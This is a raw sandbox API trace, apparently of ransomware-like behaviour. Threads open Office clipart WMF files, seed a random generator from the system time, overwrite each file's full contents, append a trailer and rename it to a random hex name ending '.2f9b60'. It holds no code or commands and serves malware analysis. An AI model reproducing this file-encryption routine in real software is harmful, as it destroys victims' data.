[0164.418] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cacf998, SourceString="8d6c6d4f2c949d2d440d0f4a02b54a306770f736869a962a", AllocateDestinationString=1 | out: DestinationString="8d6c6d4f2c949d2d440d0f4a02b54a306770f736869a962a") returned 0x0 [0164.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14ab0 [0164.419] RtlFreeAnsiString (AnsiString="8") [0164.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd96b0) returned 1 [0164.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c142d0) returned 1 [0164.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18180) returned 1 [0164.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c181b0) returned 1 [0164.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18150) returned 1 [0164.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18120) returned 1 [0164.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4510) returned 1 [0164.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f45d0) returned 1 [0164.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4600) returned 1 [0164.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c301d0 [0164.422] wcscat (in: _Dest=0x42c301d0, _Source="8d6c6d4f2c94" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d6c6d4f2c94") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d6c6d4f2c94" [0164.422] wcscat (in: _Dest=0x42c301d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d6c6d4f2c94.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d6c6d4f2c94.2f9b60" [0164.422] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d6c6d4f2c94.2f9b60", NtPathName=0x2cacf970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d6c6d4f2c94.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2bc50 Thread: id = 2370 os_tid = 0x1d6c [0150.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0150.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF", dwFileAttributes=0x20) returned 1 [0150.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21e4 [0150.244] GetFileSizeEx (in: hFile=0x21e4, lpFileSize=0x2d48f680 | out: lpFileSize=0x2d48f680*=2300) returned 1 [0150.245] SetFilePointerEx (in: hFile=0x21e4, liDistanceToMove=0x8f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.245] ReadFile (in: hFile=0x21e4, lpBuffer=0x2d48f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d48f648, lpOverlapped=0x0 | out: lpBuffer=0x2d48f600*, lpNumberOfBytesRead=0x2d48f648*=0x4, lpOverlapped=0x0) returned 1 [0150.246] SetFilePointerEx (in: hFile=0x21e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45a0 [0150.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4630 [0150.247] NtQuerySystemTime (in: CurrentTime=0x2d48f540 | out: CurrentTime=0x2d48f540*=132462177554614000) returned 0x0 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x21e4efc5 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x276bcaec [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x4cbd002c [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x4b5c1382 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x41bb562d [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x2454bed [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x6b6595cc [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x62ddcbe2 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x436429fa [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x1b90ee6d [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x6c73dba1 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x1ed89ec3 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x15d2d764 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x5c70a248 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x3b917f7e [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x3bd24577 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x63343ef1 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x56d0d5e2 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x5fda8e62 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x7add4c4d [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x2480ffc [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x4fc508df [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0xd349240 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x5619c1ce [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0xa977a52 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x51f1a48 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x1cbb6718 [0150.247] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0xfa762b1 [0150.248] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x11daf88c [0150.248] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x3d039c8a [0150.248] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x47714d17 [0150.248] RtlRandomEx (in: Seed=0x2d48f530 | out: Seed=0x2d48f530) returned 0x6b606a7c [0150.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4660 [0150.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0150.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4690 [0150.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0150.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4630) returned 1 [0150.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420581f0 [0150.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0150.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4244c580 [0150.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42450190 [0150.257] ReadFile (in: hFile=0x21e4, lpBuffer=0x4244c580, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x2d48f530, lpOverlapped=0x0 | out: lpBuffer=0x4244c580*, lpNumberOfBytesRead=0x2d48f530*=0x8fc, lpOverlapped=0x0) returned 1 [0150.257] SetFilePointerEx (in: hFile=0x21e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.257] WriteFile (in: hFile=0x21e4, lpBuffer=0x42450190*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x2d48f534, lpOverlapped=0x0 | out: lpBuffer=0x42450190*, lpNumberOfBytesWritten=0x2d48f534*=0x8fc, lpOverlapped=0x0) returned 1 [0162.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182a0 [0162.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182d0 [0162.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182d0) returned 1 [0162.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42450190) returned 1 [0162.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4244c580) returned 1 [0162.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0162.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420581f0) returned 1 [0162.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c182d0 [0162.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420581f0 [0162.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0162.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18300 [0162.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18300) returned 1 [0162.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18300 [0162.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18330 [0162.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18360 [0162.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18360) returned 1 [0162.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0162.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420581f0) returned 1 [0162.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14510 [0162.264] SetFilePointerEx (in: hFile=0x21e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.264] WriteFile (in: hFile=0x21e4, lpBuffer=0x42c14510*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d48f650, lpOverlapped=0x0 | out: lpBuffer=0x42c14510*, lpNumberOfBytesWritten=0x2d48f650*=0x10a, lpOverlapped=0x0) returned 1 [0164.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 [0164.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4600) returned 1 [0164.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 [0164.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45d0 [0164.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f45d0) returned 1 [0164.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.430] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="70") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="27") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="b8") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="6d") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="31") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="0f") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="2f") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="58") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="04") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="32") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="45") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="70") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="d7") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="32") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="da") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="39") returned 2 [0164.430] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="11") returned 2 [0164.431] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="90") returned 2 [0164.431] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="74") returned 2 [0164.431] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="52") returned 2 [0164.431] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.431] RtlInitAnsiString (in: DestinationString=0x2d48f6c8, SourceString="701a27b86d310f2fd65804324570d732dab03911907452c2" | out: DestinationString="701a27b86d310f2fd65804324570d732dab03911907452c2") [0164.431] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d48f698, SourceString="701a27b86d310f2fd65804324570d732dab03911907452c2", AllocateDestinationString=1 | out: DestinationString="701a27b86d310f2fd65804324570d732dab03911907452c2") returned 0x0 [0164.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14b20 [0164.431] RtlFreeAnsiString (AnsiString="7") [0164.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4600) returned 1 [0164.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14510) returned 1 [0164.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18300) returned 1 [0164.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18330) returned 1 [0164.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182d0) returned 1 [0164.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182a0) returned 1 [0164.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f45a0) returned 1 [0164.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4660) returned 1 [0164.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4690) returned 1 [0164.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30090 [0164.435] wcscat (in: _Dest=0x42c30090, _Source="701a27b86d31" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\701a27b86d31") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\701a27b86d31" [0164.435] wcscat (in: _Dest=0x42c30090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\701a27b86d31.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\701a27b86d31.2f9b60" [0164.435] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\701a27b86d31.2f9b60", NtPathName=0x2d48f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\701a27b86d31.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2be90 Thread: id = 2371 os_tid = 0x1d70 [0150.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0150.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF", dwFileAttributes=0x20) returned 1 [0150.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21e8 [0150.259] GetFileSizeEx (in: hFile=0x21e8, lpFileSize=0x2d6cfc80 | out: lpFileSize=0x2d6cfc80*=3252) returned 1 [0150.259] SetFilePointerEx (in: hFile=0x21e8, liDistanceToMove=0xcb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.260] ReadFile (in: hFile=0x21e8, lpBuffer=0x2d6cfc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d6cfc48, lpOverlapped=0x0 | out: lpBuffer=0x2d6cfc00*, lpNumberOfBytesRead=0x2d6cfc48*=0x4, lpOverlapped=0x0) returned 1 [0150.261] SetFilePointerEx (in: hFile=0x21e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4630 [0150.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0150.262] NtQuerySystemTime (in: CurrentTime=0x2d6cfb40 | out: CurrentTime=0x2d6cfb40*=132462177554770000) returned 0x0 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x1c5c41c [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x508cca8d [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x51aab56e [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x41254f67 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x190e0583 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x2ec9585 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0xfcf3c16 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x65e10962 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x1161e55a [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x509c38f6 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x59d41362 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x604eb6df [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x31f7281b [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x30688ce7 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x5f3785c0 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x47c0a262 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0xc083bd3 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x7fe64a0f [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x7f7ddbb4 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x5889721b [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x755f3f01 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x60e210ff [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x6926d0ac [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x415965fe [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x62bf64fa [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x78994d8d [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x7ebe8a1c [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x17f15a23 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x3f7c1203 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x7a3bd15d [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x12c02ca3 [0150.262] RtlRandomEx (in: Seed=0x2d6cfb30 | out: Seed=0x2d6cfb30) returned 0x4942fb8d [0150.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46f0 [0150.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b1b0 [0150.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4720 [0150.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b1b0) returned 1 [0150.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46c0) returned 1 [0150.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058240 [0150.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b1b0 [0150.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42453da0 [0150.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424579b0 [0150.272] ReadFile (in: hFile=0x21e8, lpBuffer=0x42453da0, nNumberOfBytesToRead=0xcb4, lpNumberOfBytesRead=0x2d6cfb30, lpOverlapped=0x0 | out: lpBuffer=0x42453da0*, lpNumberOfBytesRead=0x2d6cfb30*=0xcb4, lpOverlapped=0x0) returned 1 [0150.273] SetFilePointerEx (in: hFile=0x21e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.273] WriteFile (in: hFile=0x21e8, lpBuffer=0x424579b0*, nNumberOfBytesToWrite=0xcb4, lpNumberOfBytesWritten=0x2d6cfb34, lpOverlapped=0x0 | out: lpBuffer=0x424579b0*, lpNumberOfBytesWritten=0x2d6cfb34*=0xcb4, lpOverlapped=0x0) returned 1 [0162.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18360 [0162.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18390 [0162.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18390) returned 1 [0162.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424579b0) returned 1 [0162.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42453da0) returned 1 [0162.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b1b0) returned 1 [0162.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058240) returned 1 [0162.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18390 [0162.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058240 [0162.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b1b0 [0162.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c183c0 [0162.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c183c0) returned 1 [0162.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c183c0 [0162.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c183f0 [0162.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18420 